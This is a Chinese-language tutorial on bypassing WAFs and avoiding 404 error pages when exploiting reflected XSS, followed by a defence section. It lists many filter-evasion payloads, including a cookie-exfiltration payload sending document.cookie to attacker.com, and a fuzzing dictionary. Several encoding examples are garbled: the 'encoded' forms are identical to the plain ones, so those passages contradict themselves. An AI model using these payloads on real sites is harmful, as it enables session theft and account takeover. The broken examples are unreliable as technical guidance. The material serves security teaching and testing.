1. 项目概述:当XSS遇上WAF与404
在Web安全测试,尤其是渗透测试和CTF比赛中,反射型XSS(跨站脚本攻击)是一个经典且高频的考点。但现实世界早已不是那个可以随意在输入框里敲入<script>alert(1)</script>就能成功的年代了。现代Web应用前端有各种过滤,后端有WAF(Web应用防火墙)层层把关,甚至在你构造的Payload触发异常时,服务器可能直接返回一个“404 Page Not Found”或自定义错误页,让你的攻击尝试石沉大海,连个水花都看不见。这个项目要探讨的,正是如何在WAF的严密监控和服务器错误处理机制的双重围剿下,成功实现反射型XSS的利用。
简单来说,这就像一场“猫鼠游戏”。WAF是那只警觉的猫,它有一套规则集,专门识别和拦截像XSS、SQL注入这类攻击特征。而我们的目标,是扮演那只狡猾的老鼠,精心构造Payload,让它既能执行恶意脚本,又能骗过WAF的规则检测,同时还要确保Payload能“存活”到被浏览器解析的那一刻,而不是被服务器端的错误处理逻辑提前“消灭”。这个过程涉及对WAF规则逻辑的揣摩、对浏览器解析特性的深度利用,以及对目标应用错误处理机制的试探。无论你是安全研究员、渗透测试工程师,还是CTF爱好者,掌握这些绕过技巧,都能让你对Web安全防御体系有更立体、更实战化的理解。
2. WAF防护机制与常见拦截逻辑拆解
要绕过,首先得知己知彼。WAF不是铁板一块,它的防护基于规则。理解这些规则的常见模式,是我们构造绕过Payload的起点。
2.1 WAF规则匹配的常见模式
大多数WAF,无论是云WAF(如阿里云、腾讯云WAF)还是开源WAF(如ModSecurity),其核心检测引擎通常基于正则表达式匹配关键词和攻击模式。对于XSS,它们通常会关注以下几个维度:
- 标签名黑名单:直接拦截
<script>,<img>,<svg>,<body>等明显高危标签。 - 事件处理器黑名单:拦截
onerror,onload,onmouseover等事件属性。 - 协议黑名单:拦截
javascript:伪协议。 - 关键词黑名单:拦截
alert,prompt,confirm,eval,fromCharCode等常用于攻击证明的函数名。 - 编码检测:尝试识别并解码常见的HTML实体编码、URL编码、Unicode编码,然后对解码后的内容进行规则匹配。
- 上下文感知:高级WAF会尝试理解Payload出现的上下文,例如是在HTML标签内、属性值内,还是在JavaScript代码块内,并应用不同的过滤规则。
2.2 触发“Page Not Found”的深层原因
为什么我们的Payload有时会导致“404”或“页面未找到”错误?这通常不是WAF的直接拦截响应(WAF拦截通常返回403或特定的阻断页面),而是后端应用程序自身的错误处理机制。常见原因有:
- 参数值导致后端异常:我们注入的Payload可能包含特殊字符或超长字符串,导致后端程序(如PHP、Java、.NET应用)在处理请求参数时发生未捕获的异常(如数组越界、空指针引用、模板解析错误),进而触发框架或容器默认的错误页面,其中就包括404。
- 路径遍历或资源不存在:如果Payload被拼接进文件包含、资源加载的路径中,可能构造出一个不存在的路径,服务器自然返回404。
- WAF的“变形”响应:少数情况下,某些WAF在检测到攻击后,可能会主动篡改响应内容,将其替换为一个无害的错误页面(如404),以此作为一种隐蔽的防御手段,让攻击者无法区分是WAF拦截还是正常错误。
理解这一点至关重要:我们的绕过策略不仅要让Payload通过WAF,还要保证其语法结构不会破坏原始页面的上下文,从而避免触发后端错误。
3. 反射型XSS绕过WAF的实战技巧与Payload构造
绕过WAF是一门艺术,核心思想是“变形”和“利用差异”。即,构造出WAF规则难以识别,但浏览器却能正常解析执行的代码。
3.1 利用HTML/JavaScript解析差异
浏览器在解析HTML和JavaScript时比WAF的规则引擎“宽容”得多,也复杂得多。这是我们的主要突破口。
技巧一:标签与属性的非常规写法WAF的规则可能只匹配标准写法。
- 标签名绕过:使用大小写混合、插入空字符(
NULL字节,在某些上下文中有效)、或利用某些浏览器对标签名的容错性。- 例如:
<ScRiPt>,<script/任意字符串>alert(1)</script>,<img写作<iMg。
- 例如:
- 属性值分隔符绕过:除了双引号
"和单引号',反引号 ``` 在某些上下文也可作为分隔符。或者干脆不用引号,如果属性值不包含空格。- 例如:
<img src=x onerror=alert(1)>。
- 例如:
- 事件处理器绕过:使用罕见的事件处理器,或者对事件名进行编码。
- 例如:
onfocus、onauxclick。或者利用HTML实体编码:onmouseover写成onmouseover(需要浏览器自动解码)。
- 例如:
技巧二:JavaScript编码与混淆这是绕过关键词黑名单最有效的方法之一。
- Unicode转义:在JavaScript字符串和标识符中使用Unicode转义序列。
- 例如:
alert(1)可以写成\u0061\u006c\u0065\u0072\u0074(1)。甚至函数名也可以:window['\u0061\u006c\u0065\u0072\u0074'](1)。
- 例如:
- JSFuck等混淆技术:极端情况下,可以使用JSFuck等编码方式,仅用
[]()!+等极少字符构造出任意JavaScript代码。虽然冗长,但绕过率极高。- 例如:
[][filter][constructor]...` 这种形式。
- 例如:
- 利用
String.fromCharCode动态构造:将待执行的代码的每个字符的ASCII码拼接,运行时还原。- 例如:
eval(String.fromCharCode(97,108,101,114,116,40,49,41))等价于eval(“alert(1)”)。
- 例如:
技巧三:利用HTML实体编码的“双重解码”有时,Payload在服务端被解码一次,输出到HTML后浏览器又会解码一次。如果WAF只检查了一次解码后的内容,就可能被绕过。
- 假设服务端会对
&进行解码。我们输入<script>alert(1)</script>。 - 服务端解码后输出:
<script>alert(1)</script>。 - WAF检查这个中间结果,可能因为标签名
<script>而拦截。 - 绕过思路:如果我们输入
<img src=x onerror=alert(1)>。 - 服务端解码一次:
<img src=x onerror=alert(1)>(<变<,但a等尚未变)。 - 这个中间结果可能绕过基于
alert关键词的WAF规则。 - 浏览器渲染时,会再次解码
al...,最终执行alert(1)。
注意:这种技巧高度依赖于目标应用的处理流程。需要在测试中不断尝试输入各种编码,观察输出点的变化。
3.2 针对“Page Not Found”错误的应对策略
当遇到404错误时,我们的调试思路需要转变。
- 精简与试探:首先使用极简的Payload,如一个单引号
‘或一个括号),观察页面反应。目的是判断注入点是否敏感,以及后端是否存在严格的输入验证或模板语法。如果简单字符就导致404,说明后端可能对参数结构有强预期,我们需要先摸清其预期格式。 - 上下文修复:如果注入点位于某个HTML标签属性内(如
<input value=“我们的输入”>),我们注入的Payload如果提前闭合了引号或标签,可能导致后续的HTML结构破坏,引发解析错误。因此,构造Payload时,要时刻注意“修复”上下文,让最终生成的HTML语法正确。- 例如:原代码
<input value=“{我们的输入}”>。如果我们输入“><script>alert(1)</script>,结果变成<input value=““><script>alert(1)</script>”>。这虽然闭合了value属性和<input>标签,但多了一个尾部的”>,可能破坏布局。更稳妥的做法是输入“onmouseover=“alert(1),这样生成<input value=““onmouseover=“alert(1)”>,语法仍然是完整的。
- 例如:原代码
- 使用无害标签探测:先尝试使用
<b>,<i>,<span>这类无害标签,看它们是否能被正常反射到页面中而不引发404。如果能,说明标签本身不是问题,问题可能出在属性或内容上。 - 分块测试:将一个完整的XSS Payload拆分成多个参数或多次请求进行测试。例如,将事件处理器和执行的代码分开。这有助于定位触发404的具体部分。
4. 高级绕过案例与混淆技术实战解析
让我们结合几个具体场景,看看如何综合运用上述技巧。
4.1 案例一:绕过基于正则的简单标签/事件过滤
假设WAF规则是:过滤<script>和onerror字样。
初始Payload:<img src=1 onerror=alert(1)>会被拦截。
绕过尝试1(大小写与空格):<ImG sRc=1 oNeRrOr=alert(1)>。有些简单的正则可能对大小写敏感,此方法可能生效。
绕过尝试2(插入无关字符):利用浏览器会忽略某些标签内特殊字符的特性。
- Payload:
<img/src=“x”/onerror=alert(1)>。在img和src之间插入/,浏览器会正常解析,但一些简单的字符串匹配规则可能失效。 - Payload:
<img src=“x” onerror =“alert(1)”>。在等号两边加空格,也可能绕过。
绕过尝试3(编码事件名):<img src=1 onerror=alert(1)>。将onerror进行HTML实体编码。WAF可能匹配不到明文onerror,但浏览器在解析HTML时会将其解码。
绕过尝试4(换用其他事件):如果onerror被禁,尝试onload,onmouseover,onfocus,onauxclick等。
4.2 案例二:绕过关键词黑名单(如alert, eval)
假设WAF拦截所有包含alert和eval的请求。
绕过尝试1(Unicode转义):
- Payload:
<svg onload=window[‘\u0061\u006c\u0065\u0072\u0074’](1)> - 这里,
\u0061\u006c…是alert的Unicode转义形式。它在JavaScript字符串中被识别为alert,但WAF的正则匹配可能只针对明文。
绕过尝试2(利用全局对象和字符串拼接):
- Payload:
<script>window[‘al’+’ert’](1)</script> - Payload:
<script>top[‘al’+’ert’](document.domain)</script> - 通过字符串拼接动态生成函数名,可以绕过简单的静态关键词匹配。
绕过尝试3(使用其他函数或方法):
- 不一定非要用
alert来证明。console.log、document.write、location.href跳转、fetch发起请求等都可以作为攻击成功的证明。 - Payload:
<svg onload=location=‘http://attacker.com/steal?c=’+document.cookie>
绕过尝试4(终极混淆:JSFuck或aaencode):
- 使用工具将
alert(1)编码成仅由少量字符组成的冗长字符串。这种方式几乎能绕过所有基于特征码的WAF,但Payload体积巨大,容易被长度限制或人工审查发现。 - 例如,JSFuck版的
alert(1)是以[][filter]…开头的一长串字符。
4.3 案例三:处理因Payload导致的404错误
假设我们在一个搜索框测试,URL参数是?q=我们的输入。输入“><script>alert(1)</script>后返回404。
诊断步骤:
- 测试边界:先输入一个普通单词,如
test,确认功能正常。 - 测试特殊字符:输入一个双引号
“,查看结果。如果也返回404,说明后端可能用该参数直接进行数据库查询或模板拼接,我们的输入破坏了语法。 - 尝试闭合与注释:如果怀疑是SQL或模板注入点,尝试用注释符修复语法。但对于XSS,我们更关注HTML上下文。
- 在正确上下文中构造:查看搜索结果的页面源码,找到我们输入值被放置的位置。假设它被放在
<h2>搜索结果 for “{我们的输入}”</h2>中。 - 构造最小化Payload:我们的目标是先闭合前面的双引号和标签,然后插入新标签。但为了避免破坏后面的结构,我们可以用注释
//或-->来“注释掉”后面可能出错的代码。- 尝试Payload:
“></h2><script>alert(1)</script><!-- - 这将会生成:
<h2>搜索结果 for ““></h2><script>alert(1)</script><!--”</h2>。<!--注释掉了末尾的“</h2>,保证了HTML结构大体正确。
- 尝试Payload:
- 使用事件处理器:如果插入新标签困难,可以尝试在原有标签上加事件。但需要先判断我们能否接触到某个标签的属性。如果输入点直接在HTML文本中,而非属性值里,这种方式可能不行。
5. 自动化测试工具与手动测试结合的心得
在实际渗透测试中,纯靠手工fuzz效率低下。我通常会采用“工具扫描+手动验证+深度挖掘”的模式。
- 初期侦察:使用Burp Suite的Scanner或专门的XSS扫描工具(如XSStrike、xsser)对目标进行初步探测。这些工具内置了大量Payload,能快速发现一些明显的、未防护的XSS点。
- 手动验证与上下文分析:工具报出潜在漏洞后,必须手动验证。用Burp Repeater模块,重放请求,修改参数,观察响应。最关键的一步是查看“响应(Response)”的HTML源码,精确找到我们输入的内容被反射到了哪个位置(是
<div>标签内?是<input>的value属性里?还是JavaScript的字符串中?)。上下文决定了我们Payload的构造方式。 - 绕过WAF的手动Fuzz:当简单Payload被拦截时,进入手动绕过阶段。
- 使用Burp Intruder:将Payload中可能被过滤的部分(如
script,onerror,alert)设置为攻击位置(position),加载一个精心准备的“模糊测试(Fuzz)”字典。字典里包含各种大小写、编码、混淆变形的Payload片段。 - 字典内容示例:
<script> <Script> <scRipt> <svg/onload= <img src=x onerror= onerror \u0061\u006c\u0065\u0072\u0074 top['al'+'ert'] parent['alert'] - 通过Intruder批量发送请求,根据响应长度、状态码(是否404)、以及响应内容是否包含我们注入的代码(需仔细比对)来判断哪个Payload可能绕过了检测。
- 使用Burp Intruder:将Payload中可能被过滤的部分(如
- 利用浏览器特性验证:最终,一个Payload是否成功,必须以浏览器实际执行为准。将构造好的URL在浏览器中打开(或使用Burp的“在浏览器中打开”功能),查看是否弹窗或执行了预期操作。浏览器的开发者工具(Console)也能提供错误信息,帮助调试Payload语法。
实操心得:自动化工具跑出来的结果只是线索。真正的漏洞挖掘和绕过,七八成精力都在手动分析上下文和构造精巧的Payload上。WAF规则和应用程序逻辑千变万化,没有“银弹”Payload。耐心和对细节的观察力是关键。
6. 防御视角:如何构建更有效的XSS防护
从攻击中学习防御。了解了这么多绕过技巧,作为开发或安全工程师,我们应该如何构建更稳固的防线?
- 严格的输出编码(最重要):根据数据输出的具体上下文,采用不同的编码方式。
- HTML正文:使用HTML实体编码(如
<转成<)。 - HTML属性值:除了HTML实体编码,属性值必须用引号括起来。
- JavaScript代码内部:使用JavaScript Unicode转义或专门的JS编码库。
- URL参数:进行URL编码。
- 现代前端框架(如React, Vue, Angular):默认提供了良好的数据绑定和转义机制,但也要注意在危险操作(如
dangerouslySetInnerHTML或v-html)时的使用。
- HTML正文:使用HTML实体编码(如
- 使用内容安全策略(CSP):CSP通过HTTP头告诉浏览器哪些外部资源可以被加载和执行,能极大程度上缓解XSS的影响。例如,禁止内联JavaScript (
‘unsafe-inline’),只允许脚本从特定可信域名加载。即使攻击者注入了脚本,浏览器也不会执行。 - 输入验证与规范化:在接收输入时,根据业务逻辑进行严格的白名单验证(例如,姓名字段只允许字母和空格)。对于无法白名单的,进行规范化处理,但不要依赖黑名单过滤。
- 避免将用户输入直接拼接进HTML、JavaScript或SQL:这是万恶之源。使用模板引擎(且正确配置自动转义)、参数化查询(防SQL注入)、安全的DOM API(如
textContent代替innerHTML)。 - WAF作为补充,而非唯一防线:WAF可以阻挡大部分自动化攻击和已知攻击模式,是安全体系中的重要一环。但它存在被绕过的可能。安全的核心应建立在应用自身代码的健壮性上,WAF提供的是额外的缓冲和监控能力。同时,需要定期更新WAF规则,并针对业务特点进行定制化配置。
7. 常见问题排查与实战踩坑记录
在多年的测试中,我积累了一些典型的“坑点”和排查思路。
问题1:Payload在响应里可见,但浏览器不执行。
- 可能原因1:CSP限制。检查HTTP响应头中的
Content-Security-Policy。如果禁止了unsafe-inline,那么内联脚本(包括事件处理器)都不会执行。解决方案:尝试寻找允许加载的外部域名,构造一个外部脚本引用,或者尝试其他不违反CSP的攻击方式(如CSS数据窃取)。 - 可能原因2:Payload被HTML编码后又被浏览器正确显示。查看网页源码,确认Payload中的
<是否被转换成了<。如果是,说明输出编码做得很好,这不是一个漏洞。 - 可能原因3:脚本语法错误。打开浏览器开发者工具的Console面板,查看是否有JavaScript错误。可能因为上下文问题,你的脚本标签没有正确闭合,或者函数调用方式在当前上下文中无效。
问题2:同样的Payload在A页面成功,在B页面失败。
- 排查上下文:两个页面反射点的HTML上下文绝对不同。一个可能在
<script>标签内,另一个在HTML属性里。用开发者工具仔细对比源码。 - 排查WAF策略:可能网站的不同路径(
/api/和/app/)配置了不同的WAF规则或安全级别。 - 排查后端处理逻辑:参数可能经过不同的处理函数,有的做了编码,有的没做。
问题3:测试时导致网站功能异常或返回500错误。
- 立即停止:这可能说明你的Payload触发了后端严重的异常,甚至可能造成破坏。在授权测试中,应避免使用可能造成服务中断的Payload(如无限循环、大量数据请求)。
- 简化Payload:回归到最简单的测试字符,逐步增加复杂度,定位触发异常的具体部分。
- 与管理员沟通:在合法的渗透测试中,应及时将测试情况反馈给客户。
问题4:如何判断一个404响应是WAF拦截还是正常错误?
- 对比法:提交一个绝对无害的正常请求(如
?q=test),再提交一个已知的恶意但简单的Payload(如?q=<script>)。如果后者返回404,而前者正常,那么很可能是触发了某种安全机制或错误。 - 响应头分析:查看404响应的HTTP头部。有些WAF会在拦截时添加特定的Header,如
X-Protected-By: SomeWAF。 - 响应体分析:对比正常404页面(如访问一个不存在的路径)和因Payload触发的“404”页面。它们的内容、标题、样式可能略有不同。
- 时间延迟:如果WAF带有语义分析或机器学习模型,恶意请求的响应可能会有可感知的延迟。
绕过WAF和避免触发页面错误,是一个需要不断观察、假设、测试和验证的过程。它没有标准答案,更像是一场与系统设计者和防御者之间的思维博弈。每一次成功的绕过,不仅证明了一个漏洞的存在,更深层次地揭示了一处安全假设的缺陷。对于防御者而言,关注这些绕过技巧,正是为了修补这些缺陷,筑起更坚固的防线。